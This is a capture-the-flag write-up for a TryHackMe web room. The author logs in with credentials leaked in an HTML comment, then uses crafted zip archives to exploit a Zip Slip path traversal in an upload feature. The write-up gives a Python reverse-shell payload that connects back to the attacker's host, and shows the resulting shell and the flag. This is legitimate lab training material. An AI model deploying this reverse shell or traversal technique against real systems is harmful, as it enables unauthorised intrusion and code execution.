The Hollow Shell (Hacker Holidays) - Write-up - TryHackMe

Information

Room#

  • Name: The Hollow Shell
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: You find it on the beach: pretty, ordinary, the kind of thing nobody thinks to check. Slip something inside and hold it to your ear.

The Hollow Shell

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

sudo pacman -S curl 7zip slipit rlwrap nmap

Lore#

πŸ›ŽοΈ Concierge Briefing

You find it on the beach: pretty, ordinary, the kind of thing nobody thinks to check. Slip something inside and hold it to your ear.

The Byte Lotus beachfront lets guests personalise their in-room display by uploading a shell β€” a little souvenir pack of shoreline ambiance. Staff publish them through the Shoreline Display portal, and once a shell is "held to the room's ear" it plays its shore. Slip past what the portal forgets to check, and the shell answers with a shell of your own.

πŸ–οΈ TODAY'S ITINERARY

  • [ ] Find the flag

Web discovery#

On the login page (http://10.128.128.13:5000/login), there is a HTML comment with credentials.

<!--
  ───────────────────────────────────────────────────────────────
   Byte Lotus // internal display-manager portal
   New on the floor team? IT seeds every property with the same
   starter login until you set your own:
       user: concierge
       pass: EDITED
   (rotate it from Settings on first sign-in β€” most people forget)
  ───────────────────────────────────────────────────────────────
-->

App discovery + guessing#

There is an upload form with the following instructions:

Found something on the beach? Upload it as a shell (a .zip souvenir pack) to set the ambiance on the in-room tablets. Each shell must contain a shell.json manifest listing its assets (images, stylesheets).

A shell may include optional automation hooks β€” the theme worker applies these for you shortly after the shell comes ashore, so you don't have to touch each tablet by hand. Allowed asset types: png jpg gif svg css json.

We don't have instruction what the structure of the zip or shell.json should look like.

I tried a shell.json like that:

{
  "images": [
    "archlinux-logo-dark-scalable.518881f04ca9.svg"
  ],
  "stylesheets": [
    "shell.css"
  ]
}

A CSS file:

body {
  background-image: url("archlinux-logo-dark-scalable.518881f04ca9.svg");
}

And a random SVG image, all that flat in a ZIP archive:

7z a shell.zip shell.json shell.css archlinux-logo-dark-scalable.518881f04ca9.svg

When uploading, I get this error, which will give the JSON schema by error and retry:

Shell rejected: shell.json is missing a 'name'

I just added a name and re-uploaded.

{
  "name": "noraj's theme",
  "images": [
    "archlinux-logo-dark-scalable.518881f04ca9.svg"
  ],
  "stylesheets": [
    "shell.css"
  ]
}

This time it seems it was accepted, the message is the following:

Shell 'noraj's theme' brought ashore. Stored at shells/b37257e694c4/ and held to the room's ear.

Unzipped files are directly availables, e.g. http://10.128.128.13:5000/shells/b37257e694c4/shell.json

I tried to add an unauthorized file type in the archive, a dummy test.py. It was not refused and was available. So as long as it's not listed in the assets list in shell.json, it seems it won't be denied.

Based on the headers, we should expect a python server.

$ curl -I http://10.128.128.13:5000/dashboard -s | grep Server
Server: gunicorn

However, the uploaded http://10.128.128.13:5000/shells/df0358dad62b/test.py was not interpreted.

Zip Slip#

Let's try slipit to create a Zip Slip archive.

I updated the existing shell.zip archive to add the python script at the web root.

slipit shell.zip --archive-type zip --depth 2 --separator '/' test.py

Let's check:

$ 7z l shell.zip
[…]

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2026-08-08 17:25:16 .....         8771         3444  archlinux-logo-dark-scalable.518881f04ca9.svg
2026-08-08 17:26:45 .....           82           82  shell.css
2026-08-08 18:23:47 .....          160          132  shell.json
2026-08-08 17:43:14 .....           14           14  test.py
2026-08-08 17:43:14 .....           14           14  ../../test.py
------------------- ----- ------------ ------------  ------------------------
2026-08-08 18:23:47               9041         3686  5 files

It did not work, maybe there are paths hidden by the controllers. Let's try incrementally.

slipit shell.zip --archive-type zip --depth 6 --separator '/' --increment 1 test.py
➜ 7z l shell.zip
[…]

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2026-08-08 17:25:16 .....         8771         3444  archlinux-logo-dark-scalable.518881f04ca9.svg
2026-08-08 17:26:45 .....           82           82  shell.css
2026-08-08 18:23:47 .....          160          132  shell.json
2026-08-08 17:43:14 .....           14           14  test.py
2026-08-08 17:43:14 .....           14           14  ../test.py
2026-08-08 17:43:14 .....           14           14  ../../test.py
2026-08-08 17:43:14 .....           14           14  ../../../test.py
2026-08-08 17:43:14 .....           14           14  ../../../../test.py
2026-08-08 17:43:14 .....           14           14  ../../../../../test.py
2026-08-08 17:43:14 .....           14           14  ../../../../../../test.py
------------------- ----- ------------ ------------  ------------------------
2026-08-08 18:23:47               9111         3756  10 files

Still no /test.py, however it triggersan error 500.

With a ../test.py the dashboard now lists a theme named test.py located at shells/test.py/, so the zip slip worked to write in /shells/ but we were not able to retrieve the uploaded test.py.

Since it's a python server, we could guess it's using Flask. Then a default Flask project layout could look like:

my_flask_app/          # Root directory (project name)
β”œβ”€β”€ app/               # Main application package (Flask app)
β”‚   β”œβ”€β”€ __init__.py    # Flask app factory (initializes app)
β”‚   β”œβ”€β”€ routes.py      # Route definitions (blueprints optional)
β”‚   β”œβ”€β”€ models.py      # Database models (SQLAlchemy)
β”‚   β”œβ”€β”€ forms.py       # WTForms or other form handling
β”‚   β”œβ”€β”€ static/        # Static files (CSS, JS, images)
β”‚   β”‚   β”œβ”€β”€ css/
β”‚   β”‚   β”œβ”€β”€ js/
β”‚   β”‚   └── images/
β”‚   β”œβ”€β”€ templates/     # Jinja2 templates
β”‚   β”‚   β”œβ”€β”€ base.html  # Base template (extended by others)
β”‚   β”‚   β”œβ”€β”€ index.html
β”‚   β”‚   └── ...
β”‚   └── utils.py       # Helper functions
β”‚
β”œβ”€β”€ config.py          # Configuration settings (dev/prod)
β”œβ”€β”€ requirements.txt   # Python dependencies
β”œβ”€β”€ run.py             # Entry point to run the app
└── tests/             # Unit/integration tests
    β”œβ”€β”€ __init__.py
    β”œβ”€β”€ test_routes.py
    └── ...

Let's try writing some random stuff in static/ to confirm the Zip Slip for good.

slipit shell.zip --archive-type zip --depth 2 --separator '/' --static 'noraj confirms zip slip' --prefix 'static/' whatever.css
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2026-08-08 17:25:16 .....         8771         3444  archlinux-logo-dark-scalable.518881f04ca9.svg
2026-08-08 17:26:45 .....           82           82  shell.css
2026-08-08 18:43:34 .....          163          131  shell.json
2026-08-08 18:46:06 .....           23           23  ../../static/whatever.css
------------------- ----- ------------ ------------  ------------------------
2026-08-08 18:46:06               9039         3680  4 files

Zip slip confirmed:

➜ curl http://10.128.128.13:5000/static/whatever.css
noraj confirms zip slip

More guessing + Zip Slip to RCE#

The description talked about automation hooks, so let's guess there is a hooks/ folder that will accepts any Python script and execute it? (yes that makes a lot of guessing in one sentence)

As it will be blind, we need a revershell (or a callback) directly to confirm the theory.

hook.py

import socket,subprocess,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.130.181",8080))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")

Preparing the final archive:

slipit shell.zip --archive-type zip --depth 2 --separator '/' --prefix 'hooks/' hook.py
➜ 7z l shell.zip
[…]

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2026-08-08 17:25:16 .....         8771         3444  archlinux-logo-dark-scalable.518881f04ca9.svg
2026-08-08 17:26:45 .....           82           82  shell.css
2026-08-08 19:33:29 .....          153          124  shell.json
2026-08-08 19:32:58 .....          207          207  ../../hooks/hook.py
------------------- ----- ------------ ------------  ------------------------
2026-08-08 19:33:29               9213         3857  4 files

Now let's wait for a few minutes and see if we get a shell back.

Flag#

➜ rlwrap ncat -nlvp 8080
Ncat: Version 7.99 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 10.128.128.13:35912.
roomservice@tryhackme-2404:/var/www/conch$ id
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)

roomservice@tryhackme-2404:/var/www/conch$ ls -lhA
total 44K
drwxr-xr-x  2 roomservice roomservice 4.0K Jun 22 12:00 __pycache__
-rw-r--r--  1 roomservice roomservice 4.7K Jun 22 10:22 app.py
drwxr-xr-x  2 roomservice roomservice 4.0K Aug  8 17:37 hooks
-rw-r--r--  1 roomservice roomservice   30 Jun 22 10:29 requirements.txt
drwxr-xr-x 12 roomservice roomservice 4.0K Aug  8 17:37 shells
drwxr-xr-x  2 roomservice roomservice 4.0K Aug  8 16:47 static
drwxr-xr-x  2 roomservice roomservice 4.0K Jun 22 10:33 templates
-rw-r--r--  1 roomservice roomservice   14 Aug  8 16:33 test.py
-rw-r--r--  1 roomservice roomservice 1.2K Jun 22 10:28 theme_worker.py
drwxr-xr-x  5 roomservice roomservice 4.0K Jun 22 10:45 venv

roomservice@tryhackme-2404:/var/www/conch$ ls /home
roomservice  ubuntu

roomservice@tryhackme-2404:/var/www/conch$ ls /home/roomservice
flag.txt

roomservice@tryhackme-2404:/var/www/conch$ cat /home/roomservice/flag.txt
THM{EDITED}
Share